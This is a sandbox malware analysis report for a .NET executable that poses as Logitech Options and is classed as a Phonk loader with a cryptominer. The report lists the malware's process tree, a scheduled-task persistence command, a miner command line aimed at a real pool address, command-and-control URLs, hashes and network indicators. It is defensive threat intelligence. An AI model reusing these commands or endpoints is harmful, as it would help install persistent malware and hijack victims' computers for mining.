File name:

65b6f5d673368591f3e71a1d3eba4794.exe

Full analysis: https://app.any.run/tasks/1bb772a3-6d39-45d5-934f-9865c25a15b9
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 07, 2023, 17:04:28
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
miner
phonk
loader
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5:

65B6F5D673368591F3E71A1D3EBA4794

SHA1:

C3201A17F96756D54776CE7CC640AFA4A983AB09

SHA256:

5D661F253381BA16FA2A19689385C7DA09621561F2BAD0B805FA4D158AA33DC1

SSDEEP:

98304:H0zetH+s3utP1VlEFH5fZTLB7c4d8f8uIrBil3xz82o7NODsKJWwNUWJVBxn:F

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)

    • Uses Task Scheduler to run other applications

      • CUTE.exe (PID: 1796)

    • PHONK has been detected (SURICATA)

      • CUTE.exe (PID: 1796)

    • Connects to the CnC server

      • CUTE.exe (PID: 1796)
      • ngen.exe (PID: 952)

    • MINER has been detected (SURICATA)

      • ngen.exe (PID: 952)

  • SUSPICIOUS

    • Executing commands from a ".bat" file

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)

    • Starts CMD.EXE for commands execution

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 1412)

    • Reads the Internet Settings

      • CUTE.exe (PID: 1796)

    • Connects to the server without a host name

      • CUTE.exe (PID: 1796)

    • Reads settings of System Certificates

      • CUTE.exe (PID: 1796)

    • Connects to unusual port

      • ngen.exe (PID: 952)

  • INFO

    • Checks supported languages

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)
      • CUTE.exe (PID: 1796)
      • ngen.exe (PID: 952)

    • Reads the computer name

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)
      • CUTE.exe (PID: 1796)
      • ngen.exe (PID: 952)

    • Creates files in the program directory

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)
      • CUTE.exe (PID: 1796)

    • Reads the machine GUID from the registry

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)
      • CUTE.exe (PID: 1796)

    • Create files in a temporary directory

      • 65b6f5d673368591f3e71a1d3eba4794.exe (PID: 3028)
      • CUTE.exe (PID: 1796)

    • Reads Environment values

      • CUTE.exe (PID: 1796)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (81.9)
.exe | Win16/32 Executable Delphi generic (6.1)
.exe | Generic Win/DOS Executable (5.9)
.exe | DOS Executable Generic (5.9)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2072:10:21 09:49:46+02:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Large address aware
PEType: PE32+
LinkerVersion: 48
CodeSize: 3467264
InitializedDataSize: 219136
UninitializedDataSize: -
EntryPoint: 0x0000
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 8.34.82.0
ProductVersionNumber: 8.34.82.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win16
ObjectFileType: Dynamic link library
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
Comments: Created by the Productivity Software team
CompanyName: Logitech, Inc.
FileDescription: LogiOptions.exe (UNICODE)
FileVersion: 8.34.82
InternalName: LogiOptions
OriginalFileName: LogiOptions.exe
LegalCopyright: (C) 1998-2020 Logitech. All rights reserved.
Copyright: (C) 1998-2020 Logitech. All rights reserved.
CopyrightYears: 1991-2020
LegalTrademarks: Logitech® is a registered trademark of Logitech, Inc.
ProductName: Logitech Options
ProductVersion: 8.34.82
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 65b6f5d673368591f3e71a1d3eba4794.exe no specs cmd.exe no specs timeout.exe no specs #PHONK cute.exe schtasks.exe no specs #MINER ngen.exe

Process information

PID
CMD
Path
Indicators
Parent process
332timeout 3 C:\Windows\System32\timeout.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\timeout.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
952C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=185.172.128.11:3333 -u TESTTEST -p NEWPROXY -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -openclC:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
CUTE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Common Language Runtime native compiler
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\ngen.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
1412C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\tmp4EF0.tmp.bat""C:\Windows\System32\cmd.exe—65b6f5d673368591f3e71a1d3eba4794.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1796"C:\ProgramData\Mircosolt\CUTE.exe" C:\ProgramData\Mircosolt\CUTE.exe
cmd.exe
User:
admin
Company:
Logitech, Inc.
Integrity Level:
MEDIUM
Description:
LogiOptions.exe (UNICODE)
Exit code:
0
Version:
8.34.82
Modules
Images
c:\programdata\mircosolt\cute.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
2800"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 3 /tn "CUTE" /tr "C:\ProgramData\Mircosolt\CUTE.exe" /fC:\Windows\System32\schtasks.exe—CUTE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
3028"C:\Users\admin\AppData\Local\Temp\65b6f5d673368591f3e71a1d3eba4794.exe" C:\Users\admin\AppData\Local\Temp\65b6f5d673368591f3e71a1d3eba4794.exe—explorer.exe
User:
admin
Company:
Logitech, Inc.
Integrity Level:
MEDIUM
Description:
LogiOptions.exe (UNICODE)
Exit code:
0
Version:
8.34.82
Modules
Images
c:\users\admin\appdata\local\temp\65b6f5d673368591f3e71a1d3eba4794.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
Total events
1 775
Read events
1 753
Write events
22
Delete events
0

Modification events

(PID) Process:(1796) CUTE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1796) CUTE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1796) CUTE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1796) CUTE.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1796) CUTE.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\15A\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
1
Suspicious files
4
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
1796CUTE.exeC:\ProgramData\Mircosolt\uninstall.dat —
MD5:—
SHA256:—
1796CUTE.exeC:\Users\admin\AppData\Local\Temp\Cab7C3A.tmpcompressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
1796CUTE.exeC:\Users\admin\AppData\Local\Temp\Tar7C3B.tmpbinary
MD5:9C0C641C06238516F27941AA1166D427
SHA256:4276AF3669A141A59388BC56A87F6614D9A9BDDDF560636C264219A7EB11256F
302865b6f5d673368591f3e71a1d3eba4794.exeC:\Users\admin\AppData\Local\Temp\tmp4EF0.tmp.battext
MD5:6D9F77F4A001E7A612BFBFC83834E188
SHA256:A4A073F49F3518111B2DF4771E952155041DEB654E0813DFC2B054E8663CD88C
1796CUTE.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:4418294A7E4D6270F9BE8C1024DF834B
SHA256:ECF414254B2F5C1AD539FAB2C4DA077F10A656C8BB40176D4ED848AE7C1BE325
302865b6f5d673368591f3e71a1d3eba4794.exeC:\ProgramData\Mircosolt\CUTE.exeexecutable
MD5:65B6F5D673368591F3E71A1D3EBA4794
SHA256:5D661F253381BA16FA2A19689385C7DA09621561F2BAD0B805FA4D158AA33DC1
1796CUTE.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
1796CUTE.exeC:\ProgramData\F4C181E419223CD37BC7B8E25D1B9E18.jpgimage
MD5:1774F71DA0C549D653213F86ABC94A4E
SHA256:DA7E15C962EAB843EF810829345DF2EFFF5C7EEFCE1FC33BFF2FF1F5B4F444FE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
13
DNS requests
1
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1796
CUTE.exe
POST
200
89.208.107.12:80
http://89.208.107.12/BEBRIK.php
unknown
—
—
unknown
1796
CUTE.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?682628d685dec143
unknown
compressed
65.2 Kb
unknown
1796
CUTE.exe
POST
200
89.208.107.12:80
http://89.208.107.12/SOSORRY.php
unknown
binary
5.14 Mb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
1956
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
324
svchost.exe
224.0.0.252:5355
—
—
—
unknown
1796
CUTE.exe
89.208.107.12:80
—
AEZA GROUP Ltd
NL
malicious
1796
CUTE.exe
185.172.128.11:443
—
OOO Nadym Svyaz Service
RU
unknown
1796
CUTE.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
952
ngen.exe
185.172.128.11:3333
—
OOO Nadym Svyaz Service
RU
unknown

DNS requests

Domain
IP
Reputation
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

PID
Process
Class
Message
1796
CUTE.exe
A Network Trojan was detected
LOADER [ANY.RUN] Phonk Loader Request
1796
CUTE.exe
A Network Trojan was detected
ET MALWARE Phonk Trojan CnC Checkin (POST)
1796
CUTE.exe
Malware Command and Control Activity Detected
LOADER [ANY.RUN] Phonk Loader Activity (Sending ID)
1796
CUTE.exe
Misc activity
ET INFO Suspicious File Extension Inbound (.phonk)
952
ngen.exe
Potential Corporate Privacy Violation
ET POLICY Cryptocurrency Miner Checkin
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
65b6f5d673368591f3e71a1d3eba4794.exe